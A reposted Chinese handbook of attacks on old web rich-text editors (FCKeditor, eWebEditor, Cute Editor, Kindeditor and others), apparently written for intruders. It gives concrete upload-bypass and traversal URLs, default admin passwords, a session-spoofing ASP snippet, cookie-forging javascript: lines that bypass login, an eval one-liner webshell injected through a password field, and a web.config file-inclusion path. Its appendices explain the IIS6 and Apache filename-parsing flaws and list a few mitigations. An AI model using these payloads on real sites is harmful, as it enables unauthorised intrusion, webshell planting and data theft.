当前位置:

首页 > 编程开发 > 常用网页编辑器漏洞手册(全面版)fckeditor,ewebeditor

常用网页编辑器漏洞手册(全面版)fckeditor,ewebeditor

在线编辑器如FCKeditor、eWebEditor等历史版本普遍存在文件上传绕过、目录遍历、路径解析漏洞。以FCKeditor为例,漏洞集中在文件上传机制与目录遍历,可通过特定路径探测上传目录,被动限制策略导致过滤不严。

在线编辑器作为网站内容管理的核心组件,向来是安全攻防的焦点。无论是FCKeditor、eWebEditor,还是Cute Editor、Kindeditor,它们的历史版本中普遍存在文件上传绕过、目录遍历、路径解析等漏洞。下面就从最经典的FCKeditor开始,逐一梳理这些编辑器的脆弱点与利用思路。

FCKeditor

FCKeditor的漏洞主要集中在文件上传机制和目录遍历上。先看几个基础入口:

  • 编辑器页面:FCKeditor/_samples/default.html
  • 版本信息:FCKeditor/_whatsnew.html
  • 文件上传路径探测:fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/,返回的XML中第二行 url="/xxx" 即为默认基准上传路径。

注意:截至2010年2月15日,FCKeditor最新版本为v2.6.6。另外,实际使用中记得将上述路径中的asp替换为FCKeditor实际使用的脚本语言。

被动限制策略导致的过滤不严

影响版本:FCKeditor x.x <= v2.4.3

脆弱描述:

FCKeditor v2.4.3 中,File类别默认拒绝上传的后缀包括:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm。但Fckeditor 2.0 ~ 2.2 允许上传 asa、cer、php2、php4、inc、pwml、pht 后缀的文件。上传后,文件直接以 $sFilePath = $sServerDir . $sFileName 保存,未使用 $sExtension 作为后缀——这在Windows下可以直接在上传文件名后加 . 来突破(未测试);而在Apache环境下,可利用“Apache文件名解析缺陷漏洞”(详见附录A)实现绕过。另外,建议其他上传漏洞中定义TYPE变量时,尽量使用File类别,因为FCKeditor的代码对File类别的限制最为狭隘。

攻击利用:允许其他任何后缀上传;利用2003路径解析漏洞上传网马。

2003系统路径解析漏洞

影响版本:参见附录B

脆弱描述:利用Windows 2003 IIS6的路径解析漏洞,创建类似 bin.asp 这样的目录,再在此目录中上传文件,即可被脚本解析器以相应脚本权限执行。

攻击利用:fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

FCKeditor PHP上传任意文件漏洞

影响版本:FCKeditor 2.2 <= v2.4.2

脆弱描述:FCKeditor在处理文件上传时存在输入验证错误。通过 editor/filemanager/upload/php/upload.php 上传文件时,攻击者可以通过为Type参数定义无效值,导致上传任意脚本。成功攻击的前提是 config.php 中启用了文件上传,而默认是禁用的。

攻击利用:(请修改action字段为指定网址)FCKeditor <=2.4.2 for php.html。注意:如尝试v2.2版漏洞,修改Type=任意值即可;但若换回使用Media,则必须大写首字母M,否则Linux下FCKeditor会对文件目录进行文件名校验,导致上传失败。

TYPE自定义变量任意上传文件漏洞

影响版本:较早版本

脆弱描述:通过自定义Type变量的参数,可以创建或上传文件到指定目录,且没有上传文件格式的限制。

攻击利用:/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp,打开这个地址就可以上传任意类型的文件,Shell默认上传到 /UserFiles/all/ 目录下,例如 http://www.heimian.com/UserFiles/all/1.asp。这里的 Type=all 是自定义变量,创建了all目录,且新目录没有上传限制。如果输入 Type=../,例如 /FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp,网马就可以传到网站根目录下。注意:如找不到默认上传文件夹,可检查 fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/。

FCKeditor 新闻组件遍历目录漏洞

影响版本:aspx版FCKeditor,其余版本未测试

脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”。

攻击利用:修改CurrentFolder参数使用 ../../ 进入不同目录。例如:/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp,根据返回的XML信息可以查看网站所有目录。另外,/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F 也可用于遍历。

FCKeditor中webshell的其他上传方式

影响版本:非优化/精简版本的FCKeditor

脆弱描述:如果存在以下文件,打开后即可上传文件。

攻击利用:fckeditor/editor/filemanager/upload/test.html 和 fckeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor 文件上传“.”变“_”下划线的绕过方法

影响版本:FCKeditor >= 2.4.x

脆弱描述:新版FCKeditor会将上传的文件名如 shell.php.rar 或 shell.php;.jpg 中的 . 替换为 _,变成 shell_php;.jpg。

攻击利用:提交 1.php+空格 就可以绕过所有过滤——不过空格只支持Windows系统,*nix不支持(1.php和1.php+空格是2个不同的文件)。注意:如果文件名格式如 upload/2010/3/201003102334372778.jpg 做了过滤,也就是IIS6解析漏洞。第一次上传被过滤为 123_asp;123.jpg,无法运行。但第二次上传同名文件 123.asp;123.jpg 后,由于 123_asp;123.jpg 已经存在,文件名会被命名为 123.asp;123(1).jpg…… 123.asp;123(2).jpg 这样的编号方式,于是IIS6的漏洞继续生效。

如果上述步骤测试没有成功,可能有以下几方面原因:

  1. FCKeditor没有开启文件上传功能(默认关闭,上传时会给出错误提示)。
  2. 网站采用了精简版FCKeditor,很多功能丢失,包括文件上传。
  3. FCKeditor的这个漏洞已经被修复。

eWebEditor

eWebEditor是另一款广泛使用的在线编辑器,尤其是国内CMS中常见。下面先梳理基础信息,再逐个看漏洞。

利用基础知识

  • 默认后台地址:/ewebeditor/admin_login.asp,建议同时检测 admin_style.asp 是否可直接访问。
  • 默认数据库路径:[PATH]/db/ewebeditor.mdb 或 [PATH]/db/db.mdb(某些CMS);也可尝试 [PATH]/db/%23ewebeditor.mdb(管理员自作聪明的小伎俩)。
  • 默认密码:admin/admin888 或 admin/admin,也可尝试 admin/123456(有些管理员和CMS就这样设置)。
  • 进入后台后,点击“样式管理”——选择新增样式,或修改一个非系统样式,将图片控件所允许的上传类型后面加上 |asp、|asa、|aaspsp 或 |cer(只要是服务器允许执行的脚本类型即可),提交后设置工具栏,将“插入图片”控件添加上。然后预览此样式,点击插入图片,上传WEBSHELL,在“代码”模式中查看上传路径。
  • 当数据库被管理员修改为asp、asa后缀时,可以插一句话木马服务端进入数据库,再用一句话木马客户端连接拿下webshell。
  • 上传后无法执行?目录没权限?回去样式管理看你编辑过的那个样式,里面可以自定义上传路径。
  • 设置好了上传类型依然上传不了?估计是文件代码被改了,可以尝试设定“远程类型”,依照6.0版本拿SHELL的方法(详情见下文),能够设定自动保存远程文件的类型。
  • 不能添加工具栏,但设定好了某样式中的文件类型?怎么办?直接构造action字段(请修改action字段)——Action.html。

eWebEditor踩脚印式入侵

脆弱描述:当我们下载数据库后查询不到密码MD5的明文时,可以去看看 webeditor_style(14) 这个样式表,看看是否有前辈入侵过,或许已经赋予了某控件上传脚本的能力,构造地址来上传我们自己的WEBSHELL。

攻击利用:比如 ID=46, s-name=standard1,构造 ewebeditor.asp?id=content&style=standard,将ID和样式名改过后,访问 ewebeditor.asp?id=46&style=standard1。

eWebEditor遍历目录漏洞

脆弱描述:ewebeditor/admin_uploadfile.asp 和 admin/upload.asp 过滤不严,造成遍历目录漏洞。

攻击利用:第一种:ewebeditor/admin_uploadfile.asp?id=14,在id=14后面添加 &dir=..,再加 &dir=../..,甚至 &dir=http://www.heimian.com/../.. 看到整个网站文件。第二种:ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=./..。

eWebEditor 5.2 列目录漏洞

脆弱描述:ewebeditor/asp/browse.asp 过滤不严,造成遍历目录漏洞。

攻击利用:/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..

利用WebEditor session欺骗漏洞进入后台

脆弱描述:漏洞文件 Admin_Private.asp,只判断了session,没有判断cookies和路径的验证问题。

攻击利用:新建一个 test.asp,内容如下:<%Session("admin")="admin"%>,访问 test.asp,再访问后台任何文件,例如 Admin_Default.asp。

eWebEditor asp版 2.1.6 上传漏洞

攻击利用:(请修改action字段为指定网址)ewebeditor asp版2.1.6上传漏洞利用程序.html

eWebEditor 2.7.0 注入漏洞

攻击利用:/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200,默认表名 eWebEditor_System,默认列名 sys_UserName、sys_UserPass,利用nbsi进行猜解。

eWebEditor 2.8.0 最终版删除任意文件漏洞

脆弱描述:此漏洞存在于 Example\NewsSystem 目录下的 delete.asp 文件中,这是ewebeditor的测试页面,无须登陆可直接进入。

攻击利用:(请修改action字段为指定网址)Del Files.html

eWebEditor v6.0.0 上传漏洞

攻击利用:在编辑器中点击“插入图片”——网络——输入你的WEBSHELL在某空间上的地址(注:文件名称必须为 xxx.jpg.asp 以此类推),确定后,点击“远程文件自动上传”控件(第一次上传会提示安装控件,稍等即可),查看“代码”模式找到文件上传路径,访问即可。eWeb官方的DEMO也可以这么做,不过对上传目录取消掉了执行权限,所以上传上去也无法执行网马。

eWebEditor PHP/ASP…后台通杀漏洞

影响版本:PHP ≥ 3.0~3.8 与 asp 2.8 版也通用,或许低版本也可以,有待测试。

攻击利用:进入后台 /eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了。此时清空浏览器的URL,然后输入:ja vascript:alert(document.cookie="adminuser="+escape("admin")); 回车,再输入 ja vascript:alert(document.cookie="adminpass="+escape("admin")); 回车,再输入 ja vascript:alert(document.cookie="admindj="+escape("1")); 回车,三次回车后清空浏览器URL,现在输入一些平常访问不到的文件如 ../ewebeditor/admin/default.php,就会直接进去。

eWebEditor for php任意文件上传漏洞

影响版本:ewebeditor php v3.8 or older version

脆弱描述:此版本将所有的风格配置信息保存为一个数组 $aStyle,在php.ini配置 register_global 为on的情况下,我们可以任意添加自己喜欢的风格,并定义上传类型。

攻击利用:phpupload.html

eWebEditor JSP版漏洞

大同小异,这里不再赘述,因为没有环境测试。用JSP编辑器的场景中,eWebEditor的份额可能比FCKeditor少得多。

eWebEditor 2.8 商业版插一句话木马

影响版本:>=2.8 商业版

攻击利用:登陆后台,点击修改密码——新密码设置为 1":eval request("h")',设置成功后,访问 asp/config.asp 文件即可,一句话木马被写入到这个文件里面了。

eWebEditorNet upload.aspx 上传漏洞 (WebEditorNet)

脆弱描述:WebEditorNet 主要是一个 upload.aspx 文件存在上传漏洞。

攻击利用:默认上传地址:/ewebeditornet/upload.aspx,可以直接上传一个cer的木马。如果不能上传,则在浏览器地址栏中输入 ja vascript:lbtnUpload.click();,成功以后查看源代码找到 uploadsa ve 查看上传保存地址,默认传到 uploadfile 这个文件夹里。

southidceditor (一般使用v2.8.0版eWeb核心)

相关路径:idceditor/datas/southidceditor.mdb、/admin/southidceditor/admin/admin_login.asp、/admin/southidceditor/popup.asp

bigcneditor (eWeb 2.7.5 VIP核心)

所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版。之所以无法访问 admin_login.asp,提示“权限不够”,估计是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台。上面针对eWebEditor v2.8以下低版本的小动作可能可以用到这上面来,但貌似没多少动作。


Cute Editor

Cute Editor在线编辑器本地包含漏洞

影响版本:CuteEditor For Net 6.4

脆弱描述:可以随意查看网站文件内容,危害较大。

攻击利用:/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config


Webhtmleditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本:<= Webhtmleditor最终版1.7 (已停止更新)

脆弱描述/攻击利用:对上传的图片或其他文件无重命名操作,导致允许恶意用户上传 diy.asp;.jpg 来绕过后缀名审查的限制。对于此类因编辑器作者意识犯下的错误,就算遭遇缩略图、文件头检测,也可使用图片木马插入一句话来突破。


Kindeditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本:<= kindeditor 3.2.1 (09年8月份发布的最新版)

脆弱描述/攻击利用:拿官方做个演示:进入 upload/2010/3/201003102334381513.jpg 大家可以前去围观。注意:参见附录C原理解析。


Freetextbox

Freetextbox遍历目录漏洞

影响版本:未知

脆弱描述:因为 ftb.imagegallery.aspx 代码中只过滤了 / 但没有过滤 \ 符号,所以导致出现了遍历目录的问题。

攻击利用:在编辑器页面点图片会弹出一个框(抓包得到此地址),构造如下可遍历目录:/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..


附录A:Apache文件名解析缺陷漏洞

测试环境:apache 2.0.53 winxp, apache 2.0.52 redhat linux

  1. 国外(SSR TEAM)发了多个advisory称Apache's MIME module (mod_mime)相关漏洞,就是 attack.php.rar 会被当做php文件执行的漏洞,包括Discuz!那个 p11.php.php.php.php.php.php.php.php.php.php.php.php.php.rar 漏洞。
  2. S4T的superhei在blog上发布了这个apache的小特性,即apache是从后面开始检查后缀,按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安装的index.XX文件就明白了。
  3. superhei已经说得非常清楚,可以充分利用在上传漏洞上。按照普遍允许上传的文件格式测试,列举如下(乱分类勿怪):
    • 典型型:rar
    • 备份型:bak, lock
    • 流媒体型:wma, wmv, asx, as, mp4, rmvb
    • 微软型:sql, chm, hlp, shtml, asp
    • 任意型:test, fake, ph4nt0m
    • 特殊型:torrent
    • 程序型:jsp, c, cpp, pl, cgi
  4. 整个漏洞的关键就是apache的“合法后缀”到底是哪些,不是“合法后缀”的都可以被利用。
  5. 测试环境:a.php 内容 ,然后增加任意后缀测试,例如 a.php.aaa、a.php.aab……

By cloie, in ph4nt0m.net(c) Security.

附录B:IIS6文件解析路径漏洞

安装了iis6的服务器(Windows 2003),受影响的文件名后缀有 .asp .asa .cdx .cer .pl .php .cgi。Windows 2003 Enterprise Edition 是微软目前主流的服务器操作系统。Windows 2003 IIS6 存在着文件解析路径的漏洞:当文件夹名为类似 hack.asp 的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的任何类型的文件(比如.gif,.jpg,.txt等)都可以在IIS中被当做ASP程序来执行。这样黑客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。如果这些网站中有任何一个文件夹的名字是以 .asp、.php、.cer、.asa、.cgi、.pl 等结尾,那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给脚本解析器执行。

附录C:IIS文件解析漏洞(分号分隔)

漏洞描述:当文件名为 [YYY].asp;[ZZZ].jpg 时,Microsoft IIS会自动以asp格式来进行解析。而当文件名为 [YYY].php;[ZZZ].jpg 时,Microsoft IIS会自动以php格式来进行解析。其中 [YYY] 与 [ZZZ] 处为可变化字符串。

影响平台:Windows Server 2000 / 2003 / 2003 R2 (IIS 5.x / 6.0)

修补方法:

  1. 等待微软相关的补丁包。
  2. 关闭图片所在目录的脚本执行权限(前提是你的某些图片没有与程序混合存放)。
  3. 校验网站程序中所有上传图片的代码段,对形如 [YYY].asp;[ZZZ].jpg 的图片做拦截。

备注:对于Windows Server 2008 (IIS7) 以及 Windows Server 2008 R2 (IIS7.5) 则未受影响。

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
作者最新文章
编程开发
相关文章 更多
19款Javascript富文本网页编辑器
19款Javascript富文本网页编辑器

19款JavaScript富文本编辑器一览 在Web开发中,富文本编辑器几乎是每个内容管理系统的标配。从简单的博客后台到复杂的协同办公平台,一个好用、轻量、可定制的编辑器往往能省去不少开发时间。这里整理了19款JavaScript富文本编辑器,涵盖了从经典到新兴、从轻量到全功能的各类选择,每款都附带

查看更多
精品专题 更多
装机必备
装机必备

正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

Windows
Windows

正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

PDF教程
PDF教程

正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

Mac软件 更多
Postman macOS版
Postman macOS版
Mac

Postman是一套面向API全生命周期的开发与测试平台,可在Mac上发送和调试多种协议请求,管理集合、环境及认证信息,并完成脚本测试、模拟服务、监控、文档发布和团队协作。它适合开发、测试及运维人员使用,提供个人免费方案。

Docker Desktop macOS版
Docker Desktop macOS版
Mac

Docker Desktop 是 Docker 官方为 Mac 提供的容器开发环境,集成 Docker Engine、命令行工具、Compose、Build、Kubernetes 与图形化管理界面。

Android Studio macOS版
Android Studio macOS版
Mac

Android Studio 是 Google 面向安卓应用开发提供的官方集成开发环境,基于 IntelliJ IDEA 构建。它整合智能代码编辑、Gradle 构建、界面预览、设备模拟、性能分析、调试测试及 APK 分析等工具。

WINDOWS 更多
PixPix 网页版
PixPix 网页版
Windows

PixPix 是面向品牌、卖家和内容团队的在线 AI 图片视频创作平台,提供图视频 Agent、无限画布、图片生成、视频生成、自然语言编辑及商品套图、产品精修和带货视频等电商工具。

Postman Windows版
Postman Windows版
Windows

Postman 是面向 API 全生命周期的开发与协作平台。Windows 桌面版可用于构建和发送 HTTP、GraphQL、gRPC、WebSocket、MQTT 等请求,并提供环境变量、集合、脚本测试、模拟服务、监控、文档及团队工作区等

Docker Desktop Windows版
Docker Desktop Windows版
Windows

Docker Desktop 为 Windows 开发者提供集成式容器环境,内置 Docker Engine、命令行工具、Compose、Build 与 Kubernetes 等组件,可在本机完成镜像构建、容器运行、日志查看和资源管理。